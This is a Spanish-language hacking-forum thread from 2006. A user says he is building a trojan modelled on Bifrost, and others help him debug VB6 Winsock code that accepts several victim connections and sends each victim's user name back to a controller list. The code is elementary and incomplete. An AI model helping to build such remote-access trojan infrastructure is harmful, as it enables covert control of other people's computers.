Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Ismy en 7 Enero 2006, 20:22 pm



Título: Aceptar varias conexiones
Publicado por: Ismy en 7 Enero 2006, 20:22 pm
Código:
dim ncon as integer
Private Sub ws_ConnectionRequest(Index As Integer, ByVal requestID As Long)
ncon = ncon + 1
With ws(Index)
.Close
.Accept requestID
End With
Load ws(Index + 1)
With ws(Index + 1)
.LocalPort = port
.Listen
End With
ws(Index).SendData "hem acceptat la teva peticio de conexio" & vbCrLf
Beep
List1.AddItem (ws(Index).RemoteHostIP & " sa conectat")
End Sub

Estoy haciendo un troyano.
Quiero que tenga una interfaz parecida a la del bifrost, que salga la cuadricula con los conectados y de ahi selecciono el que quiera y llevo a cabo las acciones.

Pero estoy teniendo problemas con ese codigo.

Primero me daba error al compilar en:
Citar
(Index As Integer, ByVal requestID As Long)

Decia que la declaracion del procedimiento no coincide con la descripcion del procedimiento del mismo nombre.

Asi que el Index as integer lo declare en General.

Despues el error me lo dio al cargar otro socket
Citar
With ws(Index)

Dice Numero de argumentos erroneo o asignacion de propiedad no valida

Necesito ayuda porque estoy atascado y he buscado por todos sitios y no encuentro nada al respecto.

Gracias


Título: Re: Aceptar varias conexiones
Publicado por: sch3m4 en 7 Enero 2006, 20:49 pm
aqui te pongo un source para lo que quieres http://lympex.securityhead.com/resources/sources/ConexionesMultiplesSockets.zip


Título: Re: Aceptar varias conexiones
Publicado por: Ismy en 7 Enero 2006, 21:03 pm
Gracias, me ha sido d mucha ayuda


Título: Re: Aceptar varias conexiones
Publicado por: Ismy en 8 Enero 2006, 19:50 pm
De nuevo tengo problemas.

Modifiqué 1 poco el codigo a mis preferencias

El server cuando conecta me envia el nombre de usuario del pc: (por supuesto el strUserName lleva detras toda la API)

Código:
Private Sub Winsock1_Connect()
Winsock1.SendData strUserName
MsgBox "enviado"
End Sub

El cliente al recibir la variable con el nombre, mete en 1 listview 1 nombre, que despues podrá ser cambiado, para reconocer el Equipo, la IP del pc remoto, y el nombre de usuario.

Código:
Private Sub ws_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim strUserName As String
Call ws(Index).GetData(strUserName)
MsgBox "recibido"
Set ListItem = ListView1.ListItems.Add(, , "Nombre")
    ListItem.SubItems(1) = ws(Index).RemoteHostIP
    ListItem.SubItems(2) = strUserName

El problema, es que el cliente no recibe la variable strUserName, el MsgBox de enviado si sale, pero el msgbox de recibido no sale, por lo tanto creo que el error esta en el

Código:
Call ws(Index).GetData(strUserName)

Espero aclarar la duda, gracias

Salu2


Título: Re: Aceptar varias conexiones
Publicado por: Gangrel en 8 Enero 2006, 20:22 pm
Prueba con esta linea.

Código:
ws(Index).GetData strUserName
MsgBox strUserName  'para comprobar que los datos llegaron bien


Título: Re: Aceptar varias conexiones
Publicado por: Ismy en 8 Enero 2006, 20:48 pm
Sigue sin añadirse al ListView, y el MsgBox tampoco sale...

Gracias de todos modos


Título: Re: Aceptar varias conexiones
Publicado por: sch3m4 en 8 Enero 2006, 22:39 pm
prueba con esto

Código:
Private Sub Winsock1_Connect()
msgbox strusername
Winsock1.SendData strUserName
MsgBox "enviado"
End Sub


Título: Re: Aceptar varias conexiones
Publicado por: Ismy en 10 Enero 2006, 18:43 pm
Ahora si que llega la variable, pero llega asi "????".....

He hecho de todo y sigue saliendome mal.